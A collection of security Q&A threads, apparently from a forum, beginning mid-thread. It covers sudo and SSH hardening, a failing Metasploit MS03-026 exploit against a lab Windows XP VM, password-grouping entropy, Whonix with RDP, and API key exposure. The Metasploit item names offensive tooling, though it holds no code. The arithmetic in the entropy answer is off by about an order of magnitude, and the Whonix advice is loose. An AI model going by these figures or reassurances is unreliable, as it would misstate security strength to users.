So what I'm curious about is for people in my situation is whether there is an advantage to doing it that way rather than going in directly as root and saving a bit of time.

Thanks,

doug

Security wise you want people to use sudo not su (Sudo can be setup so it logs all activity, a.k.a. an audit log).

further more on most *nix root access to ssh is prohibited (Setting in the settings file that I would recommend you enable). this is to prevent a breached SSH(-server) can be utilize for ROOT access.

Further security I would recommend is use encrypted keys (e.a. you have a password you need to enter for your key not your login prompt) and use an agent to share your public keys. Otherwise all I would need is your stored key to gain access, removing 1 of the security thresholds.

further more, limit sudo (and su) use for System Administration tasks only (and only for those task you can not do otherwise) use groups for shared access not the root.

I would even go so far as to recommend you use different keys per connection (do not reuse keys especially the id_rsa key) and use the .ssh/config to set what key is used when.

-> Additional Clarification for the "different keys"

The reason you use different keys is so you have layered security, it makes it easier to revoke a key and replace it (and not 'forget' an old server locking you out of that one) and if you do it per client and connection you have the same option on both ends.

Especially if you control more than a few servers this can become a hassle in the long run. for some systems I even have more than 1 key to segregate permissions and authority (having multiple "security zones" on the server with different keys (that have different passwords) so that the one with write access is not the same as the one with shell access.

Another Point I would like to make is that its always better to use the least amount of permissions as possible. So instead of using su to login as root,  use su to become a different user (the one with write permission in your folder anyway, such as www-data on ubuntu for the apache httpd folders) than do your thing, and if you really need to use more permissions (change permissions and installing applications are those mostly for me) use "sudo [operation] (options)" instead of just sudo su. not only leave this cleaner audit logs, it also limits possible errors (writing in the wrong location, writing files as root when they should be owned by the webserver, etc.) and it requires you to know  what it is you are doing. instead of just going "hey, it worked like this last time".

"Sudo su" is like removing a wall with a pipe bomb. it removes the wall, but a simple sledge hammer could have done the same (with less possible collateral damage).


MS03-026 RPC DCOM Exploit not working on metasploit I'm trying to exploit Windowx XP SP2 through MS03-026 Microsoft RPC DCOM Interface Overflow vulnerability on msfconsole. When execute "exploit" but it is not working. What could be reason?
The one said on -
http://www.rapid7.in/db/modules/exploit/windows/dcerpc/ms03_026_dcom

Access Mode : VMware Workstation 9
Host OS : Windows 8.1
Guest OS : Windows XP Service Pack 2
Network type : Host-only

It seems, the Windows XP you are using, is patched for that vulnerability.


Is it acceptable to group password characters by category? To ease the wifi PSK key input, I want to group characters by category, to reduce the number of context switches on various devices.

For example

HWJt9cR4a3^YEH8^Sj3ix87z^gfD#MuBivJX7UzpMZF8cjw@gsLi$6iRt7ezF##

will be turned into

^^^#@$##94383877867HWJRYEHSDMBJXUMZFLRFtcajixzgfuivzpcjwgsiitez

when grouping, I shuffle categories randomly for each key, e.g. I can get

94383877867HWJRYEHSDMBJXUMZFLRFtcajixzgfuivzpcjwgsiitez^^^#@$##

or

tcajixzgfuivzpcjwgsiitez94383877867HWJRYEHSDMBJXUMZFLRF^^^#@$##

instead.

My question is, can you estimate the entropy loss for such transformation? Is this still acceptable for a randomly generated key?

My gut says yes, but I never actually seen this feature in any key generator, even those specialized on wifi/WPA, and it helps massively for manual key input on various devices such as TVs and game consoles.

Interesting concept. For a human and from the perspective of a blind brute force, I don't see a significant issue with doing this.

The transformation you propose does significantly shrink the number of possible passphrase variations, and this is easy to take into account in order to perform a smarter brute force attack. That is provided the attacker is aware of the type of transformation and the spacing between categories. In essence you're relying on the obscurity of your methodology to maximise its effectiveness, and whilst obscurity does have its place, it should not be relied on (it's just a bad principle).

I can venture a guess of how the key space reduces with a very simple example - 5 digits (10) and 5 lower case letters (26) and 5 symbols (considering only 10 possible samples):

No sectioning: 46^15 = 10^26
Strict sectioning: 10^5 * 26^5 * 10^5 = 10^17

This means the total number of combinations without sectioning is 10000000000 times larger than the number of passphrases you can generate with sectioning.


Whonix with Remmina to Connect on RDP - Is it safe? My question is based on 2 things. I do not want my ISP logging any of my data, and do not trust my VPN either. Is it a safe measure to use Whonix in a VirtualBox, connecting over VPN. Then using remmina to connect to an RDP. My goal is so that ISP and VPN can not log data of RDP server in which I connect

Basically current setup VPN -> VirtualBox with Whonix -> RDP using Remmina

Any advice, thank you!

If you have Whonix and install RDP on it, it's secure enough to almost everyone. Unless your government is interested in you specially, of course.

Now, if you don't trust your VPN, switch to a more trustworthy one. There are lots and lots of providers out there.


Securing a Web API in MVC I've got a simple ASP MVC 6 WebAPI I'm currently working on in which registered users can call request data using a sample of the URL below:

http://localhost:7988/api/b8pE5Qodiw/elections/Prop1/Prop2/Prop3

b8pE5Qodiw refers to the unique API code for a confirmed user. This is generated by the application and the user is not able to use it until they confirm their email.

I'm generating the code following the answer on this SO question

From a security standpoint, are their potential issues with having the user API code in the URL and how I'm generating the API code?

Is there a best practice of how RESTful services generate API URL's

There's one pretty major issue that's immediately apparent, but may be an artifact of your development environment: the request is transmitted over plain ol' http, which means the API key is available to anyone performing a man-in-the-middle attack.

The solution for this, of course, is to only ever make these sorts of requests over https. You can't control what your users do (after all, they could just publish their key on the web), but you can strongly encourage this behaviour. Possible ways to do this include:

ensuring all your examples use https
big fat warnings in the documentation
returning an error page, rather than a redirect, when an API request is sent over http
enabling hsts for your domain (although I don't think this will have any effect on custom curl-based programs)

As mentioned in comments, moving the key into the request body will prevent it from showing up in your access logs, which may be treated with less security rigor than your database.

Personally, your keys seem too short to me. They're used by programs, not humans, so there's no reason not to have a much longer key length that's far beyond what you might imagine to be guessable (remember that an attacker doesn't need to guess a specific key, but just any that is valid).